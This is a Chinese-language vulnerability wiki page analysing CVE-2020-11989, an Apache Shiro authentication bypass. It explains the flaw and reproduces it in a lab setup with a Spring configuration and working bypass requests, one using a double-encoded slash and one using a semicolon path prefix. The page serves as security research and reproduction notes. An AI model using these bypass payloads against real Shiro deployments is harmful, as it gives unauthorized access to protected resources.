menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right yougar0.github.io(基于零组公开漏洞库 + PeiQi文库的一些漏洞)-20210715 chevron_right Web安全 chevron_right Apache Shiro chevron_right (CVE-2020-11989)Apache Shiro _ 1.5.3 身份认证绕过漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2020-11989)Apache Shiro _ 1.5.3 身份认证绕过漏洞.md
    6.81 KB / 2021-04-21 09:23:46
        (CVE-2020-11989)Apache Shiro \< 1.5.3 身份认证绕过漏洞
    ========================================================
    
    一、漏洞简介
    ------------
    
    二、漏洞影响
    ------------
    
    Apache Shiro \< 1.5.3
    
    Spring 框架中只使用 Shiro 鉴权
    
    三、复现过程
    ------------
    
    ### (一)双重编码绕过
    
    #### 双重编码绕过分析
    
    当我们的请求进入应用后会进行第一次的url解码
    
        %25%32%66 -> %2f
         
    
    接着当进入到shiro的
    `org.apache.shiro.web.util.WebUtils#getPathWithinApplication` 采用的是
    `getRequestUri` 方法同时里面会调用到 `decodeRequestString`
    进行再一次的解码。
    
    3.jpg
    
        %2f -> /
         
    
    可以看到这里就造成了和Spring的uri处理不一致的问题,也就导致了接下来的问题。
    
    当进入到`org.apache.shiro.util.AntPathMatcher#doMatch`
    去匹配是否符合我们之前定义的权限路由`/hello/*`
    
    4.jpg
    
    `doMatch`
    的代码有点杂这里就不放了,感兴趣的可以自己去跟一下逻辑。简单来说就是这里可以看到path成了
    `/hello/a/a` ,hello后有两个 `/`
    ,所以跳过了这次的判断,导致了身份验证绕过。
    
    总结一下,当进入应用后我们的请求页面被解析成 `/hello/a%2fa`
    ,所以它可以进入到springcontroller中的 `/hello/{name}` ,
    
    但是因为shiro再次做了url解码,导致判断的uri成为了 `/hello/a/a`
    它不属于我们配置的权限判断地址 `/hello/*` 。
    
    因此造成了绕过,核心原理可以归因为是shiro与spring对RFC标准实现的差异导致(实际上就是shiro实现错了)。
    
    #### 双重编码绕过复现
    
    编写如下代码
    
        @Configuration
        public class ShiroConfig {
            @Bean
            MyRealm myRealm() {
                return new MyRealm();
            }
         
            @Bean
            SecurityManager securityManager() {
                DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
                manager.setRealm(myRealm());
                return manager;
            }
         
            @Bean
            ShiroFilterFactoryBean shiroFilterFactoryBean() {
                ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
                bean.setSecurityManager(securityManager());
                bean.setLoginUrl("/login");
                bean.setSuccessUrl("/index");
                bean.setUnauthorizedUrl("/unauthorizedurl");
                Map<String, String> map = new LinkedHashMap<>();
                map.put("/hello/*", "authc");
                bean.setFilterChainDefinitionMap(map);
                return bean;
            }
        }
    
    这里我配置了
    
        map.put("/hello/*", "authc");
    
    同时我编写了对应的controller像这样
    
        @GetMapping("/hello/{name}")
        public String hello(@PathVariable String name) {
            return "hello";
        }
         
    
    以上操作代表着我通过ant风格的语法设置了去检查在访问 `/hello`
    路由之后的一级目录的用户是否有权限。
    
    如果你请求 `/hello/aaa` 那么你将会被禁止。
    
    1.jpg
    
    但是这里我们可以通过url双编码来绕过。
    
        / -> %2f ->%25%32%66
         
        GET /hello/a%25%32%66a HTTP/1.1
        Host: www.0-sec.org:8080
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Connection: close
        Upgrade-Insecure-Requests: 1
         
    
    2.jpg
    
    现在它成功了
    
    当然这个漏洞需要一些限制条件,首先权限ant风格的配置需要是 `*` 而不是
    `**`
    ,同时controller需要接收的request参数(\@PathVariable)的类型需要是String,否则将会出错。
    
    ### (二)分号绕过
    
    #### 分号绕过分析
    
    由于Shiro的权限校验是通过判断 URL 匹配来做的,如果能找到 Shiro 获取的
    URL 与 Web 框架处理 URL 不一致的情况就能造成权限绕过。Shiro 中对于 URL
    的获取及匹配在
    
    org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver\#getChain
    
    以访问 /;/test/admin/page 举例,通过 getPathWithinApplication
    函数得到的路径为 /
    
    1.png
    
    跟入该函数的处理逻辑org.apache.shiro.web.util.WebUtils\#getPathWithinApplication
    
    2.png
    
    可以看到 org.apache.shiro.web.util.WebUtils\#getRequestUri 获取到的是 /
    
    3.png
    
    这里分别通过 getContextPath() getServletPath() getPathInfo()
    获取并拼接得到 /;/test//admin/page ,传入后 decodeAndCleanUriString
    变成了 / , org.apache.shiro.web.util.WebUtils\#decodeAndCleanUriString
    
    4.png
    
    在 decodeAndCleanUriString ,会根据 Ascii 为 59 的字符也就是 ; 进行 URL
    的截断,所以最终返回了 /
    
    回到最开始的 /;/test/admin/page 请求,该 request 请求会进入 Spring 中,
    Spring 处理 URL
    函数如下org.springframework.web.util.UrlPathHelper\#getPathWithinServletMapping5.png
    
    7.png
    
    在 getPathWithinApplication 处理下是能正确获取到 context-path
    与路由,最终经过 getPathWithinServletMapping
    函数格式化处理后,得到最终路径为 /admin/page
    ,所以我们可以正常访问到该页面
    
    6.png
    
    因此总结来说就是当 URL 进入到 Tomcat 时, Tomcat 判断 /;test/admin/page
    为 test 应用下的 /admin/page 路由,进入到 Shiro 时被 ; 截断被认作为 /
    ,再进入 Spring 时又被正确处理为 test 应用下的 /admin/page 路由,最后导致
    Shiro 的权限绕过。
    
    #### 分号绕过复现
    
    测试 Demo :
    
        https://github.com/ianxtianxt/springboot-shiro
    
    权限配置如下,其中 /admin 下的路由需要登录才能访问
    
        @Bean
        ShiroFilterFactoryBean shiroFilterFactoryBean(){
           ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
           bean.setSecurityManager(securityManager());
           bean.setLoginUrl("/login");
           bean.setSuccessUrl("/index");
           bean.setUnauthorizedUrl("/unauthorizedurl");
           Map<String, String> map = new LinkedHashMap<>();
           map.put("/doLogin", "anon");
           map.put("/admin/*", "authc");
           bean.setFilterChainDefinitionMap(map);
           return  bean;
        }
        ---
        @GetMapping("/admin/page")
        public String admin() {
           return "admin page";
        }
    
    maven 打包项目为 test.war ,部署于 Tomcat
    。该漏洞成功利用存在下面两个条件
    
    -   1.应用不能部署在根目录,也就是需要 context-path ,
        server.servlet.context-path=/test ,如果为根目录则 context-path
        为空,就会被 CVE-2020-1957 的 patch 将 URL 格式化,值得注意的是若
        Shiro 版本小于 1.5.2 的话那么该条件就不需要。
    
        b.  Spring 控制器中没有另外的权限校验代码
    
    如果直接访问 `/test/admin/page `,会返回302跳转要求登录8.png
    
    但是访问`/;/test/admin/page `, 就能直接绕过 Shiro 权限验证,访问到
    /admin 路由中的信息
    
    9.png
    
    参考链接
    --------
    
    > http://www.liuhaihua.cn/archives/694110.html
    >
    > https://mp.weixin.qq.com/s/yb6Tb7zSTKKmBlcNVz0MBA
    
    
    links
    file_download